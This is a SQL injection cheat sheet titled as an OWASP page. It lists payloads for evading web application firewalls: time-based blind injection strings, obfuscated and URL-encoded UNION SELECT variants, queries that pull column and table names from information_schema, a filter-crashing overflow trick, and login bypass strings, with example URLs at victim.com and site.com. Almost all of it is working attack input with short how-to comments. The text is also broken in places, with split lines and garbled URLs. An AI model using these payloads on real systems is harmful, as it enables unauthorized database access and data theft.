SQL Injection Bypassing WAF - OWASP Foundation
SQL Injection Bypassing WAF - OWASP Foundation
SLEEP(5)--
SELECT BENCHMARK(1000000,MD5('A'));
id=1 OR SLEEP(25)=0 LIMIT 1--
id=1) OR SLEEP(25)=0 LIMIT 1--
id=1' OR SLEEP(25)=0 LIMIT 1--
id=1') OR SLEEP(25)=0 LIMIT 1--
id=1)) OR SLEEP(25)=0 LIMIT 1--
id=SELECT SLEEP(25)--
` /?id=1+union+select+1,2,3/*`
` index.php?id=1/uni X on/union/sel X
ect/select+1,2,3/*`
` /?id=1+union+select+1,2,3/*`
` /?id=1+un//ion+sel//ect+1,2,3–`
` /?
id=1;select+1&id=2,3+from+users+where+id=1–`
` /?
id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id
=*/users`
• The SQL request becomes select key from table
where
` id=1/*/union/,/select/,/pwd/,/from/,*/users`
` /?a=1+union+select+1,2/*`
` /?a=1+union/&b=/select+1,2
/?
a=1+union/&b=/select+1,pass/&c=/from+users–`
` /!%55NiOn/ /!%53eLEct/
%55nion(%53elect 1,2,3)– -
+union+distinct+select+
+union+distinctROW+select+
///!12345UNION SELECT///
concat(0x223e,@@version)
concat(0x273e27,version(),0x3c212d2d)
concat(0x223e3c62723e,version(),0x3c696d6720
7372633d22)
concat(0x223e,@@version,0x3c696d6720737263
3d22)
concat(0x223e,0x3c62723e3c62723e3c62723e,@
@version,0x3c696d67207372633d22,0x3c62
723e)
concat(0x223e3c62723e,@@version,0x3a,”BlackR
ose”,0x3c696d67207372633d22)
concat(‘’,@@version,’’)
///!50000UNION SELECT///
//UNION///!50000SELECT///
/!50000UniON SeLeCt/
union /!50000%53elect/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/!%55NiOn/ /!%53eLEct/
/!u%6eion/ /!se%6cect/
+un//ion+se//lect
uni%0bon+se%0blect
%2f%2funion%2f*%2fselect
union%23foo%2Fbar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/–/union/–/select/–/
union (/!/*/ SeleCT */ 1,2,3)
/!union/+/!select/
union+/!select/
//union//select//
//uNIon//sEleCt//
///*!union*////!select///
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un//ion+se//lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a
/select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f%2funion%2f%2fselect%2f%2f
union%23foo%2Fbar%0D%0Aselect%23foo%0D%0A
/!UnIoN*/SeLecT+`
Union Select by PASS with Url Encoded Method:
%55nion(%53elect) union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect %23?%0auion%20?%23?
%0aselect %23?zen?%0Aunion
all%23zen%0A%23Zen%0Aselect %55nion
%53eLEct u%6eion se%6cect unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect uni%6fn
distinct%52OW s%65lect %75%6e%6f%69%6e
%61%6c%6c %73%65%6c%65%63%7 Illegal mix of
Collations ByPass Method :
unhex(hex(Concat(Column_Name,0x3e,Table_sch
ema,0x3e,table_Name)))
`
/!from/information_schema.columns/!where/colu
mn_name%20/!like/char(37,%20112,%2097,%2011
5,%20115,%2037)`
` union select
1,2,unhex(hex(Concat(Column_Name,0x3e,Table_
schema,0x3e,table_Name))),4,5
/!from/information_schema.columns/!where/colu
mn_name%20/!like/char(37,%20112,%2097,%2011
5,%20115,%2037)?`
Code :
http://victim.com/news.php?
id=1+un/**/ion+se/**/lect+1,2,3--
Case Changing
Some WAFs filter only lowercase SQL keyword.
http://victim.com/news.php?
id=1+UnIoN/**/SeLecT/**/1,2,3--
Replaced Keywords
Some application and WAFs use preg_replace to
remove all SQL keyword. So we can bypass easily.
http://victim.com/news.php?
id=1+UNunionION+SEselectLECT+1,2,3--
Some case SQL keyword was filtered out and
replaced with whitespace. So we can use “%0b” to
bypass.
http://victim.com/news.php?
id=1+uni%0bon+se%0blect+1,2,3--
Forbidden:
http://victim.com/main/news/id/1/**/
|
|/**/lpad(first_name,7,1).html
Bypassed :
http://victim.com/main/news/id/1%0b
|
|%0blpad(first_name,7,1).html
Advanced Methods
Crash Firewall via doing Buffer Over Flow.
http://www.site.com/index.php?
page_id=-15+and+(select 1)=(Select
0xAA[..(add about 1000
“A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
.
Example:
http://www.site.com/index.php?
page_id=-15 /*!u%6eion*/ /*!se%6cect*/
1,2,3,4….
(which means “union select”)
Example:
This firewall below replaces “*”
(asterisks) with Whitespaces! What we
can do is this:
http://www.site.com/index.php?
page_id=-15+uni*on+sel*ect+1,2,3,4…
(If the Firewall removes the “*”,
the result will be: 15+union+select….)
So, if you find such a silly
function, you can exploit it, in this
way.
Auth Bypass
If we need to bypass some admin panels, and we
do that using or 1=1.
Code:
or 1-- -' or 1 or '1"or 1 or"